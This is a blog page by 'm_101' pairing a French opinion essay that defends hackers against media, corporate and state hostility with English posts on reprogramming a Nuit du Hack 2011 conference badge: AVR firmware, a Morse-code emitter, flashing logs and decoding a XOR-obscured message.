Pour faire court, pour ma part, un hacker est quelqu'un qui maitrise son sujet de manière très pointue et peut le manipuler (presque) comme il le souhaite. Quelqu'un qui arrive à transformer un pauvre bout de bois en une oeuvre d'art exceptionnelle peut prétendre à un tel titre par exemple (on dit bien "hack wood" après tout ;)). Mais hacker dans la conjecture actuelle signifie plutôt "hacker informatique". Les techniques (de hacking) acquises ne sont pas illégales en soi, c'est l'usage qu'on en fait qui peut l'être.
Qu'on soit bien clairs entre nous: c'est grâce aux hackers que l'internet existe encore. A votre avis, qui de mieux que des hackers pour contrer d'autres hackers?
On est hélas pas le seul pays où ça arrive, par exemple aux USA, un mec de 46 ans s'est pris 18 ans dans la gueule pour avoir utilisé aircrack-ng, de l'ARP spoofing, DNS spoofing et d'autres techniques du même accabit. C'est pas un peu overkill? Quelqu'un qui tue une personne, viole une femme ou fait exploser une maison ... il se prend pas 18 ans dans la gueule. Bon après aux USA les peines sont plus lourdes pour beaucoup de choses et souvent overkill ... et pourtant ça n'enraye en rien les crimes (sinon ça fait longtemps qu'on aurait plus de criminels ...).
Les médias et les hackers: "un reality show"
Ca fait des années que ça perdure et pourtant on le sait tous: les médias adorent le sensationnel.
Et celà quitte à sortir des phrases complètement hors de leur contexte d'origine.
Bon alors pour les médias c'est quoi un hacker?
Y'a juste à taper le mot hacker dans un moteur de recherche tel que Google, Yahoo (et j'en passe) pour trouver des news sur des piratages plus spectaculaires les uns que les autres ...
Entre les piratages de Sony, les pirates tel que LulzSec, les défaçages ou encore les armes de cyber-guerre ... ils parlent très très peu des acteurs qui participent à la défense tel que Sysdream ou encore Sogeti par exemple (en France).
Bien sûr, entre tous les cas d'attaques, de défense ou de recherche, aucune différences n'est faites entre chercheurs, pirates, professionnels de la sécurité ... tous des "hackers" (dans le sens pirates).
Au vu du nombres d'articles consacrés aux pirates (qu'ils appellent hackers et ce sans distinction), ils participent ainsi à l'amalgame: "hackers" = "méchants", ce qui est totalement faux comme j'ai pu l'exposer jusqu'ici.
Et ce n'est pas tout!
On a aussi droit au super génie informatique de 14 ans qui pirate ce qu'il veut ... Non mais faut arrêter ce mythe tout de suite: les logiciels d'intrusion et kits d'exploits ou encore les trojans sont monnaies courantes sur internet.
Bah oui, la faute à "la mode", au sensationnel ... on a des reportages dédiés aux "hackers" ... mais comme toujours ils s'emmêlent les pinceauxs (surtout le fameux "Pir@tage" de France 4 pour qui hackers = pirates).
Les quelques bons reportages que j'ai quand même pu voir: "La guerre invisible" sur ARTE), "Hackers, ni dieu ni maitre" (ARTE), "New York City Hackers", "Hackers are people too", etc.
Maintenant, pas un seul jour ne passe sans qu'on voit des news de piratage, de cyber-guerre, etc ... naon mais vraiment c'est devenu "la mode".
Les sociétés et les hackers: on vous détestent ... nous aussi.
Je n'ai aucunément envie de défendre les gens qui se disent de leur devoirs de détruire des réseauxs. Les groupes tels que LulzSec, etc, sont exécrables de par la manière dont ils procédent: leak des infos de personnes diverses. Ils ont le mérite de prouver les dires de tous les experts en sécurité à beaucoup de sociétés: "augmentez vos budgets sécurité, faites vous auditers, etc, ou un jour vous vous ferez pirater" ... et ça a pas louppé.
Les histoires les plus récentes des hackers non malicieuxs se faisant pourchasser pour X raisons concerne la PS3 de Sony.
Sony a la bonne idée de pourchasser les hackers débloquant les PS3 à coup d'exploits: GeoHot, grafchokolo, etc, tout ça pour la raison de "copyright infringement" et de warez. Là il faut m'expliquer ce que ça leur apportera vraiment à part la haine de beaucoup de gens ...
De plus, ils se sont fait piratés à plusieurs reprises (soit 21 fois en 2 mois et demi ...). Ils clâment que c'est à cause de leur procès contre GeoHot "pour protéger leur propriété intellectuelle", c'est unes des raisons ok (il n'a pas violé leurs copyrights et a même intégré des protections pour éviter le warez) ... mais si de base il employaient plus de professionnels de la sécurité informatique que d'avocats bah ça irait déjà beaucoup mieux: bleem, liksang, graf_chokolo et sûrement d'autres.
Pour se rattraper, ils ont essayés d'approcher Koushik Dutta (hacker Android et développeur de RomManager entre autre) avec l'insuccès qu'on connait.
En plus de ça, c'est des génies du business: How Does Sony Stay in Business?
Donc super, ils n'ont toujours pas d'émulateur PS2 sur leur PS3 (que les gens de Bleem! auraient sûrement pu développer ;)), ils sont toujours pas aussi sécurisés qu'on voudrait le croire comme en témoigne les dernières news.
Donc la question que je me pose est actuellement: Comment leur faire confiance? Après tout, leur comportement arrogant (on est inpiratables), avec des oeillères (on embauche des avocats) et leurs idées de génies ne mènent pas trop à leur faire confiance. Il faut qu'ils changent absolument de politique et de comportement si ils veulent regagner la confiance des gens. Pour ma part c'est raté: boycottez Sony ou libérez leurs produits.
Sony devrait prendre un peu exemple sur Microsoft qui a redoré son image ces dernières années. En effet, Microsoft a intégré des tests de sécurités plus poussés dans leur cycle de developpement (comme le fuzzing ou la génération d'un nombre importants de cas de test afin de trouver des bugs). De Windows XP à Windows 7 on voit tout de même une nette différence en terme de sécurité ou d'ergonomie, etc.
Ah tant que j'y pense, je vais encore reparler du fameux GeoHot ... oui encore lui.
Pour ceuxs qui le connaissent pas (ceuxs qui ont vécus dans une caverne ...), il a libéré/jailbreaké l'iphone ou la PS3. Ce qui relève d'un exploit technique quand même impressionnant. (Et Comex qui fait du user friendly avec jailbreakme ça fait aussi mal ...).
Bref, il a été employé par Facebook, ça tous le monde le sait. Mais certains débiles pensent que c'est un pirate car c'est un hacker, à ce que je sâche, c'est totalement légal de jailbreaker son iphone aux Etats-Unis. Pour la PS3 ce n'est pas formellement stipulé ainsi ... mais je ne vois pas pourquoi ça devrait être différent.
Après on me dira que ceuxs qui jailbreak vont forcément pirater des applications et d'autres trucs comme Bill Palmers le dit. Forcément, un blogguer a contredit son discours et je partage son avis. C'est pas parce qu'on est libre d'utiliser sa machine ou son équipement comme on veut qu'on va forcément l'utiliser pour pirater ou contrefaire des choses. On est après tout libres d'utiliser nos PC comme nous le voulons (et heureusement) et pourtant tous le monde ne pirate pas ;). La liberté d'usage est la meilleure solution pour l'innovation et pleins d'autres bonnes choses. L'invention de XMBC pour Xbox (un logiciel pour transformer sa console en média center) en atteste, les usages en robotiques du Kinect le prouve.
Après y'a l'éternel débats des émulateurs ... mais sans euxs, que deviendront les vieuxs jeuxs? Les éditeurs ont soit disparus ou bien ne re-édite par leurs jeuxs ou il n'y a pas d'autres moyen d'y jouer. Ca serait une partie de la culture vidéoludique qui aurait probablement disparus sans ces logiciels.
Alors oui y'aura toujours des pirates, ... mais pourquoi punir tous le monde à cause d'une minorité?
Toute façon, les sociétés, tant qu'elles ont de la thune ... elles poursuivent les gens qu'elles veulent pour X raison: Un bloggeur menacé de procès par Tuto4PC, diffuseur d’adwares.
Les Etats et les hackers: un état de guerre permanent
Entre les attaques contre la grille électrique des Etats-Unis, Bercy piraté, l'arrestation de pirates responsables du botnet Mariposa en Espagne ou l'Algérie menacée par les Anonymous ... les pirates attaques les Etats pour diverses raisons.
Ce n'est pas sans provoquer des décisions dangereuses comme l'a fait les Etats-Unis. Bah oui ... comment attribuer une attaque de manière sure et fiable sans se tromper. Balancer un missile sur un pays innocent risque de générer des tensions et des conflits armés un peu partout ... surtout qu'on l'oublie mais les vieilles alliances existent toujours et ça peu vite s'envenimer ...
Des attaques de telle importance prédit l'arrivée des forces armées dans leur cyber espace. C'est tout à fait normal vu la dépendance qu'ont nos sociétés face à la technologie. L'Estonie a été un bon cas de figure en 2007 et ne sera pas un cas isolé dans les années à venir de toute manière.
Les raisons d'attaquer les Etats restent assez diverses pour les pirates et attaquants en tout genre: la gloire, l'argent, l'espionnage, la fuite d'information, etc.
D'ailleurs, en parlant de fuite d'information, WikiLeaks en a bien sur fait sa spécialité. Ca peut poser des problèmes envers des informateurs des dits pays car ils risquent d'être tués si leur noms ne sont pas correctement éffacés ... Ca a par contre le mérite d'exister et surement d'obliger les Etats à être un petit peu plus transparent (... j'en doute un peu quand même ...).
Je ne saurais dire si leur action est bénéfique ou non mais certaines informations fuitées pourraient poser de gros soucis en terme de vie, stratégiquement ou autre.
Si je parle de Wikileaks ... c'est pour illustrer le pouvoir des institutions et conglomérats: aucunes raisons n'a encore été donnée concernant leur blocage bancaire. Ils ont donc forcément porté plainte et apparemment vu leur paiement VISA réactivés.
Les conglomérats et les institutions ont du pouvoir mais sans compter le pouvoir qu'a donné les ordinateurs aux hackers. Wikileaks n'a cessé de le prouver avec ses fuites d'informations, des pirates l'ont démontrés: il y a possibilitée de lutter contre les institutions par des moyens technologiques.
Avant de finir cette partie, j'aimerais ajouter un mot sur notre beau système financier. Rien à voir réellement avec la cyber-guerre ... mais une guerre économique basée sur de l'information tout de même, donc y'a quand même du cyber ;).
On est (encore) en fin de crise économique ... et ce "grâce" à nos élites qui nous "chérissent" super bien.
Naon mais vraiment, faudra me faire comprendre un jour comment une petite poignée de gens peut fouttre autant la merde partout ... et on continue à les renflouer. C'est sans oublier la possible mise en faillite de la Grèce qui n'en finit pas de mourrir doucement (économiquement parlant) ...
Pendant ce temps là ... on martèle des lois contre, on poursuit, et on discrédite les hackers. Vous trouvez pas que y'a un truc qui cloche franchement?
Maintenant passons à la conclusion.
En conclusion
Entre les médias, les Etats et les hackers ... y'a encore un long chemin a parcourir avant que les gens comprennent que hackers ne signifie pas forcément "bad guys" et techniques de hacking != illégal (les usages peuvent l'être).
Les médias ont participés à la popularisation de l'idée que TOUS les hackers sont mauvais alors que ce n'est pas le cas.
Les Etats les traquent et les fliquent pour leur plus grand malheur ... car ils ne trouveront pas d'autres gens plus compétents qu'euxs pour les aider dans le domaine.
Pendant ce temps, les hackers continuent leur action et leur hobby préféré: informer et hacker.
Pour ma part, je pense que le futur va se révéler technologique, et qui dit technologie dit hackers électroniques (et donc informatique).
Etre citoyen c'est coller à ses devoirs et dénoncer les abus et les hackers joueront un rôle de plus en plus important dans le futur au vu de la dépendance qu'ont nos sociétés vis-à-vis des technologies.
Les hackers seront plus nombreuxs, ça il n'y a aucuns doutes. La sécurité informatique devient la mode et c'est une industrie qui va croitre encore un bon moment vu le besoin des Etats, des entreprises et l'état de cyber guerre permanent.
De plus, on aura beau faire des efforts, les vulnérabilitées (les "trous" de sécurité) existeront toujours ... après tout l'erreur est humaine ;).
Il faudra espérer que parmis ces hackers, il y ait plus de "gentils" que de "méchants" et pour ça tout passe par l'éducation et l'égalité des chances.
En 2-3 ans, on a vu les menaces se multiplier de quelques dizaines/centaines de milliers à quelques millions comme en atteste les signatures antivirus de plusieurs éditeurs.
Que nous réserve le futur à ce sujet?
Quel est votre réaction? Qu'en pensez-vous?
m_101
mercredi 6 juillet 2011
[EN] NDH 2011 badge hacking part 3 : Let's code!
Hello folks!
Here is the final part of my NDH 2011 Badge Hacking serie.
We know how to plug it, read it ... how about we write in it now?
Pre-requisites
As you could see from the first post about the pinout, there are PORTA, PORTB and PORTD.
These are defines in AVR C headers that allows you to set those corresponding ports.
Setting one of the bits of a PORT would set the corresponding PIN to high or 1. Basically if you set bit 6 (we are counting from 0), you will switch on LED 5.
On tixlegeek's blog, you should also have seen DDRB and DDRD. These sets the pins as inputs or outputs. Setting a bit to 1 set the corresponding pin as an output and 0 as an input.
LED stand for "Light Emiting Diode" for those who do not know. And Diodes are component that allow the current to flow in only one direction (not speaking about the Zener diode though).
And last thing but not the least, do not forget that we are coding on a micro-controller so we have a limited amount of space (either in RAM, ROM, etc), limited amount of processing power, well limited resources.
Taking that into account, you will see some "ugly hacks" to go around problems such as RAM exhaustion like you will see in my example program.
So what can you do with such a small micro-controller?
To be simple, a micro-controller is a chip with very limited resources or a component integrating multiple functionnalities in one chip: video, audio, CPU, image processing, etc.
A micro-controller can be used as a control device, smalls robotics or mapping LEDs to boards, etc.
In this case, the badge only have 7 LEDs for outputs and not inputs but the programming of the badge.
You are only limited by your creativity (and resources).
You could do those for example:
- small animations from right to left, left to right, etc
- counting
- sending data (you would need a receiver though)
- showing a dump from a network capture for example
- etc
Yeah pretty much anything you can represent with 7 LEDs, 7 bits, etc.
But to tell the truth, yeah you can't code much stuffs on it :p.
I decided to code a morse code emitter :).
But first, let's see the original code.
Original firmware
Here what the original firmware is:
For the most attentive people, you must have spotted the buggy code:
If you recall the full pinout:
Then after fixing the code you get this:
Ok now, let's go on with Morse code :).
Let's code: Morse code
Here is my "firmware" to do morse code:
The AVR chip is set to work at 1Mhz :).
I guess it is a bit more readable concerning switching ON or OFF a specific LED.
You must have seen the weird way of creating the string table and using it. We basically only have 128 bytes of RAM, the string tables would thus obviously not fit in it completely (with other local variables in a function). We thus force the compiler to put our string table in program space and copy the corresponding morse sequence to a local buffer before using it.
The code is well commented (too much commented? :)) so you would not have any problems reading it. If you were to spot any bugs, do not hesitate to send me a patch ;).
As an exercise to the reader, I let you modify the code so that it directly turns on the LED given a morse code sequence.
Here is a small utility to convert an ASCII string to morse code:
Play with it,
Conclusion
As you could see, with little imagination and work, you can achieve interesting and fun stuffs. We now know how to plug it, read it, write in/program it, hell yeah we mastered it ;).
Just a last message for those who got a NDH Badge 2011: Do you know that not all speakers/challengers/etc got to have one (I got really lucky, I almost did not get one)? By the way, a looot of people will not even play with it. Damn, if you take it, play with it! It is not just to look pretty (people put work into making them).
Hope you enjoyed it,
Have fun,
Cheers,
m_101
Resources:
- Morse code
- [NDH2K11] Badges hackable!
- NDH2K11's Badge: Spec. & hackz
- NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- Manual of avrdude
- AVR 8-bit Instruction Set
- AVR Programming
- AVR GCC Tutorial (1) – Basic I/O Operations
- AVR : Tutorial 2 : AVR – Input / Output
- AVR GCC FAQ
- Program Space
Here is the final part of my NDH 2011 Badge Hacking serie.
We know how to plug it, read it ... how about we write in it now?
Pre-requisites
As you could see from the first post about the pinout, there are PORTA, PORTB and PORTD.
These are defines in AVR C headers that allows you to set those corresponding ports.
Setting one of the bits of a PORT would set the corresponding PIN to high or 1. Basically if you set bit 6 (we are counting from 0), you will switch on LED 5.
On tixlegeek's blog, you should also have seen DDRB and DDRD. These sets the pins as inputs or outputs. Setting a bit to 1 set the corresponding pin as an output and 0 as an input.
LED stand for "Light Emiting Diode" for those who do not know. And Diodes are component that allow the current to flow in only one direction (not speaking about the Zener diode though).
And last thing but not the least, do not forget that we are coding on a micro-controller so we have a limited amount of space (either in RAM, ROM, etc), limited amount of processing power, well limited resources.
Taking that into account, you will see some "ugly hacks" to go around problems such as RAM exhaustion like you will see in my example program.
So what can you do with such a small micro-controller?
To be simple, a micro-controller is a chip with very limited resources or a component integrating multiple functionnalities in one chip: video, audio, CPU, image processing, etc.
A micro-controller can be used as a control device, smalls robotics or mapping LEDs to boards, etc.
In this case, the badge only have 7 LEDs for outputs and not inputs but the programming of the badge.
You are only limited by your creativity (and resources).
You could do those for example:
- small animations from right to left, left to right, etc
- counting
- sending data (you would need a receiver though)
- showing a dump from a network capture for example
- etc
Yeah pretty much anything you can represent with 7 LEDs, 7 bits, etc.
But to tell the truth, yeah you can't code much stuffs on it :p.
I decided to code a morse code emitter :).
But first, let's see the original code.
Original firmware
Here what the original firmware is:
//B1 B0 D6 D5 D4 D3 D2
/*
** Compiler Include Directives
*/
#define F_CPU 8000000
#include <avr/io.h>
#include <util/delay.h>
void copy2array(char value);
int main(void)
{
char EasterMSG[]="Nothing there N00b!";
char CHALL[]={0x62,0x4f,0x46,0x46,0x45,0xa,0x7d,0x45,0x58,0x46,0x4e,0xa,0x65,0x4c,0xa,0x64,0x6e,0x62,0x18,0x61,0x1b,0x1b, 0x00}, *challptr=CHALL, i=0;
PORTB=EasterMSG[72];
DDRD=0xff;
DDRB=0xff;
while(1==1)
{
i=0;
while(*(CHALL+i))
{
copy2array(*(CHALL+i));
_delay_ms(4000);
i++;
}
}
}
void copy2array(char value)
{
char byte=0;
PORTB=0;
PORTD=0;
PORTB |= (((value^42)&_BV(0))?_BV(1):0);
PORTB |= (((value^42)&_BV(1))?_BV(0):0);
PORTD |= (((value^42)&_BV(2))?_BV(6):0);
PORTD |= (((value^42)&_BV(3))?_BV(5):0);
PORTD |= (((value^42)&_BV(4))?_BV(4):0);
PORTD |= (((value^42)&_BV(5))?_BV(3):0);
PORTD |= (((value^42)&_BV(6))?_BV(2):0);
}For the most attentive people, you must have spotted the buggy code:
void copy2array(char value)
{
char byte=0;
PORTB=0;
PORTD=0;
PORTB |= (((value^42)&_BV(0))?_BV(1):0);
PORTB |= (((value^42)&_BV(1))?_BV(0):0);
PORTD |= (((value^42)&_BV(2))?_BV(6):0);
PORTD |= (((value^42)&_BV(3))?_BV(5):0);
PORTD |= (((value^42)&_BV(4))?_BV(4):0);
PORTD |= (((value^42)&_BV(5))?_BV(3):0);
PORTD |= (((value^42)&_BV(6))?_BV(2):0);
}If you recall the full pinout:
------------------------- | PORTD | ------------------------- | PIND0 | RX | | PIND1 | TX | | PIND2 | D4 | | PIND3 | D3 | | PIND4 | D2 | | PIND5 | D1 | | PIND6 | D5 | ------------------------- | PORTB | ------------------------- | PINB0 | D6 | | PINB1 | D7 | | PINB2 | NC | | PINB3 | NC | | PINB4 | NC | | PINB5 | MOSI | | PINB6 | MISO | | PINB7 | SCK | ------------------------- | PORTA | ------------------------- | PINA0 | NC | | PINA1 | NC | | PINA2 | RESET | -------------------------
Then after fixing the code you get this:
void copy2array(char value)
{
char byte=0;
PORTB=0;
PORTD=0;
PORTD |= (((value^42)&_BV(0))?_BV(5):0);
PORTD |= (((value^42)&_BV(1))?_BV(4):0);
PORTD |= (((value^42)&_BV(2))?_BV(3):0);
PORTD |= (((value^42)&_BV(3))?_BV(2):0);
PORTD |= (((value^42)&_BV(4))?_BV(6):0);
PORTB |= (((value^42)&_BV(5))?_BV(0):0);
PORTB |= (((value^42)&_BV(6))?_BV(1):0);
}Ok now, let's go on with Morse code :).
Let's code: Morse code
Here is my "firmware" to do morse code:
// @author : m_101
// @license : beerware
// @year : 2011
// @program : Do morse code on leds of NDH 2011 badge
// standard libraries
#include <ctype.h>
#include <string.h>
// avr specific libraries
#define F_CPU 1000000
#include <avr/io.h>
#include <avr/pgmspace.h>
#include <util/delay.h>
// defines for turning on a single led at a time
#define D1_ON() PORTD |= _BV(5)
#define D2_ON() PORTD |= _BV(4)
#define D3_ON() PORTD |= _BV(3)
#define D4_ON() PORTD |= _BV(2)
#define D5_ON() PORTD |= _BV(6)
#define D6_ON() PORTB |= _BV(0)
#define D7_ON() PORTB |= _BV(1)
// defines for turning off a single led at a time
#define D1_OFF() PORTD &= ~_BV(5)
#define D2_OFF() PORTD &= ~_BV(4)
#define D3_OFF() PORTD &= ~_BV(3)
#define D4_OFF() PORTD &= ~_BV(2)
#define D5_OFF() PORTD &= ~_BV(6)
#define D6_OFF() PORTB &= ~_BV(0)
#define D7_OFF() PORTB &= ~_BV(1)
// morse code duration (international standard)
#define DOT_DURATION 200
#define DASH_DURATION 3*DOT_DURATION
#define INTERGAP_DURATION DOT_DURATION
#define GAP_LETTERS 3*DOT_DURATION
#define GAP_WORDS 7*DOT_DURATION
void leds_morse(char value);
// turn off the leds
#define leds_off() \
PORTB = 0; \
PORTD = 0
// put morse table in program space (not enough RAM)
// international morse code
// letters
char morse_A[] PROGMEM = ".-";
char morse_B[] PROGMEM = "-...";
char morse_C[] PROGMEM = "-.-.";
char morse_D[] PROGMEM = "-..";
char morse_E[] PROGMEM = ".";
char morse_F[] PROGMEM = "..-.";
char morse_G[] PROGMEM = "--.";
char morse_H[] PROGMEM = "....";
char morse_I[] PROGMEM = "..";
char morse_J[] PROGMEM = ".---";
char morse_K[] PROGMEM = "-.-";
char morse_L[] PROGMEM = ".-..";
char morse_M[] PROGMEM = "--";
char morse_N[] PROGMEM = "-.";
char morse_O[] PROGMEM = "---";
char morse_P[] PROGMEM = ".--.";
char morse_Q[] PROGMEM = "--.-";
char morse_R[] PROGMEM = ".-.";
char morse_S[] PROGMEM = "...";
char morse_T[] PROGMEM = "-";
char morse_U[] PROGMEM = "..-";
char morse_V[] PROGMEM = "...-";
char morse_W[] PROGMEM = ".--";
char morse_X[] PROGMEM = "-..-";
char morse_Y[] PROGMEM = "-.--";
char morse_Z[] PROGMEM = "--..";
// digits
char morse_0[] PROGMEM = "-----";
char morse_1[] PROGMEM = ".----";
char morse_2[] PROGMEM = "..---";
char morse_3[] PROGMEM = "...--";
char morse_4[] PROGMEM = "....-";
char morse_5[] PROGMEM = ".....";
char morse_6[] PROGMEM = "-....";
char morse_7[] PROGMEM = "--...";
char morse_8[] PROGMEM = "---..";
char morse_9[] PROGMEM = "----.";
// conversion table
PGM_P code[] PROGMEM = {
// A ... M
morse_A, morse_B, morse_C, morse_D, morse_E, morse_F, morse_G, morse_H,
morse_I, morse_J, morse_K, morse_L, morse_M,
// N ... Z
morse_N, morse_O, morse_P, morse_Q, morse_R, morse_S, morse_T, morse_U,
morse_V, morse_W, morse_X, morse_Y, morse_Z,
// 0 .. 9
morse_0, morse_1, morse_2, morse_3, morse_4, morse_5, morse_6, morse_7,
morse_8, morse_9
};
// get index in morse code table
int tomorse_idx (char value) {
int idx = -1;
if (isalpha(value))
idx = (toupper(value) - 'A') % 26;
else if (isdigit(value))
idx = (value - '0') % 10 + 26;
return idx;
}
int main (void) {
// message to show and its index
char idxMsg;
char msg[] = "Hello World For NDH 2011";
// morse code and its index
char idxMorse;
char morse[8] = {0};
// index in morse conversion table
char idxCode;
// init port B and D data direction as outputs
DDRD = 0xff;
DDRB = 0xff;
// init PORTS
PORTB = 0;
PORTD = 0;
// repeat message
while(1) {
idxMsg = 0;
// print string while not ended
while(*(msg+idxMsg)) {
idxMorse = 0;
// morse code index
idxCode = tomorse_idx(*(msg+idxMsg));
// ensure cleaning of the local buffer
memset(morse, 0, sizeof(morse));
// put code in RAM if got a correct idx
if (idxCode >= 0 && idxCode < 36)
strcpy_P(morse, (PGM_P)pgm_read_word(&(code[idxCode])));
// parse morse code
while(*(morse+idxMorse)) {
// led show morse code
leds_morse(*(morse+idxMorse));
// inter-gap between dots and dashes
leds_off();
_delay_ms(INTERGAP_DURATION);
// next morse symbol
idxMorse++;
}
// blank
leds_off();
// gap between letters
if (isalnum(*(msg+idxMsg)))
_delay_ms(GAP_LETTERS);
// gap between words
else
_delay_ms(GAP_WORDS);
idxMsg++;
}
}
}
// turn on leds for morse code
void leds_morse(char value) {
// init PORTS
PORTB = 0;
PORTD = 0;
// "long press"
if (value == '-') {
D1_ON();
D2_ON();
D3_ON();
D4_ON();
D5_ON();
D6_ON();
D7_ON();
_delay_ms(DASH_DURATION);
}
// "short press"
else if (value == '.') {
D3_ON();
D4_ON();
D5_ON();
_delay_ms(DOT_DURATION);
}
}The AVR chip is set to work at 1Mhz :).
I guess it is a bit more readable concerning switching ON or OFF a specific LED.
You must have seen the weird way of creating the string table and using it. We basically only have 128 bytes of RAM, the string tables would thus obviously not fit in it completely (with other local variables in a function). We thus force the compiler to put our string table in program space and copy the corresponding morse sequence to a local buffer before using it.
The code is well commented (too much commented? :)) so you would not have any problems reading it. If you were to spot any bugs, do not hesitate to send me a patch ;).
As an exercise to the reader, I let you modify the code so that it directly turns on the LED given a morse code sequence.
Here is a small utility to convert an ASCII string to morse code:
// @author : m_101
// @license : beerware
// @year : 2011
// @program : Convert ASCII string to Morse code sequence
#include <stdio.h>
#include <stdlib.h>
char* tomorse (char value) {
char *code[] = {
// A ... M
".-", "-...", "-.-.", "-..", ".", "..-.", "--.", "....", "..", ".---", "-.-", ".-..", "--",
// N ... Z
"-.", "---", ".--.", "--.-", ".-.", "...", "-", "..-", "...-", ".--", "-..-", "-.--", "--..",
// 0 .. 9
"-----", ".----", "..---", "...--", "....-", ".....", "-....", "--...", "---..", "----."
};
int idx;
if (isalpha(value)) {
idx = (toupper(value) - 'A') % 26;
return code[idx];
}
else if (isdigit(value)) {
idx = (value - '0') % 10 + 26;
return code[idx];
}
return " ";
}
int main (int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s str\n", argv[0]);
return 0;
}
while (*argv[1]) {
printf("%s ", tomorse(*argv[1]));
argv[1]++;
}
putchar('\n');
return 0;
}Play with it,
$ avr-gcc -Os -g -Wall -I. -mmcu=attiny2313 -c -o badge_morse.o badge_morse.c
badge_morse.c: In function 'main':
badge_morse.c:145: warning: array subscript has type 'char'
$ avr-gcc -g -mmcu=attiny2313 -o badge_morse.elf badge_morse.o
$ avr-objcopy -j .text -j .data -O ihex badge_morse.elf badge_morse.hex
$ sudo avrdude -c usbasp -p attiny2313 -U flash:w:badge_morse.hex -v
avrdude: Version 5.10, compiled on Jun 29 2010 at 21:09:48
Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
Copyright (c) 2007-2009 Joerg Wunsch
System wide configuration file is "/etc/avrdude.conf"
User configuration file is "/home/kurapix/.avrduderc"
User configuration file does not exist or is not a regular file, skipping
Using Port : /dev/parport0
Using Programmer : usbasp
AVR Part : ATtiny2313
Chip Erase delay : 9000 us
PAGEL : PD4
BS2 : PD6
RESET disposition : possible i/o
RETRY pulse : SCK
serial program mode : yes
parallel program mode : yes
Timeout : 200
StabDelay : 100
CmdexeDelay : 25
SyncLoops : 32
ByteDelay : 0
PollIndex : 3
PollValue : 0x53
Memory Detail :
Block Poll Page Polled
Memory Type Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
eeprom 65 6 4 0 no 128 4 0 4000 4500 0xff 0xff
flash 65 6 32 0 yes 2048 32 64 4500 4500 0xff 0xff
signature 0 0 0 0 no 3 0 0 0 0 0x00 0x00
lock 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
lfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
hfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
efuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
calibration 0 0 0 0 no 2 0 0 0 0 0x00 0x00
Programmer Type : usbasp
Description : USBasp, http://www.fischl.de/usbasp/
avrdude: auto set sck period (because given equals null)
avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: AVR device initialized and ready to accept instructions
Reading | ################################################## | 100% 0.01s
avrdude: Device signature = 0x1e910a
avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: NOTE: FLASH memory has been specified, an erase cycle will be performed
To disable this feature, specify the -D option.
avrdude: erasing chip
avrdude: auto set sck period (because given equals null)
avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: reading input file "badge_morse.hex"
avrdude: input file badge_morse.hex auto detected as Intel Hex
avrdude: writing flash (898 bytes):
Writing | ################################################## | 100% 0.63s
avrdude: 898 bytes of flash written
avrdude: verifying flash memory against badge_morse.hex:
avrdude: load data flash data from input file badge_morse.hex:
avrdude: input file badge_morse.hex auto detected as Intel Hex
avrdude: input file badge_morse.hex contains 898 bytes
avrdude: reading on-chip flash data:
Reading | ################################################## | 100% 0.48s
avrdude: verifying ...
avrdude: 898 bytes of flash verified
avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: safemode: Fuses OK
avrdude done. Thank you.Conclusion
As you could see, with little imagination and work, you can achieve interesting and fun stuffs. We now know how to plug it, read it, write in/program it, hell yeah we mastered it ;).
Just a last message for those who got a NDH Badge 2011: Do you know that not all speakers/challengers/etc got to have one (I got really lucky, I almost did not get one)? By the way, a looot of people will not even play with it. Damn, if you take it, play with it! It is not just to look pretty (people put work into making them).
Hope you enjoyed it,
Have fun,
Cheers,
m_101
Resources:
- Morse code
- [NDH2K11] Badges hackable!
- NDH2K11's Badge: Spec. & hackz
- NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- Manual of avrdude
- AVR 8-bit Instruction Set
- AVR Programming
- AVR GCC Tutorial (1) – Basic I/O Operations
- AVR : Tutorial 2 : AVR – Input / Output
- AVR GCC FAQ
- Program Space
[EN] NDH 2011 badge hacking part 2 : What is the message?
Hello!
Now you should have a nice working cable.
Today we are going to get the message.
Dumping the flash
We can look into the chip memory using avrdude terminal mode:
We don't see any "clear" interesting string for our purpose. Maybe it is obfuscated.
We are going to dump it to a file for backup purposes:
Now we dumped the flash.
Getting the message
In the previous dumped firmware we could see the following strings:
- "Nothing there N00b!"
- "bOFFE }EXFN LEX dnb\x18a\x1b\x1b"
I wrote a quick hack to see if we got any "usual" obfuscation scheme such as caesar or XOR were used:
As you could see, for caesar I did not bother to do a rotating scheme as usual but a stupid and simple shifting.
I managed to get 2 messages:
There was another way to get the message using a video camera to capture the leds sequence and decode it manually of using image processing techniques.
I did not want to do that so I did not do it ... have fun for the courageous ones ;).
You could also use IDA Pro (or any compatible disassembler) to reverse the ASM code from the dumped firmware. I did not want to spend too much time on it so I skipped it. If you want to do it, here is the documentation: AVR 8-bit Instruction Set
Next I will show you an example of programming the chip.
Cheers,
m_101
Resources:
- [NDH2K11] Badges hackable!
- NDH2K11's Badge: Spec. & hackz
- NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- Manual of avrdude
- AVR 8-bit Instruction Set
Now you should have a nice working cable.
Today we are going to get the message.
Dumping the flash
We can look into the chip memory using avrdude terminal mode:
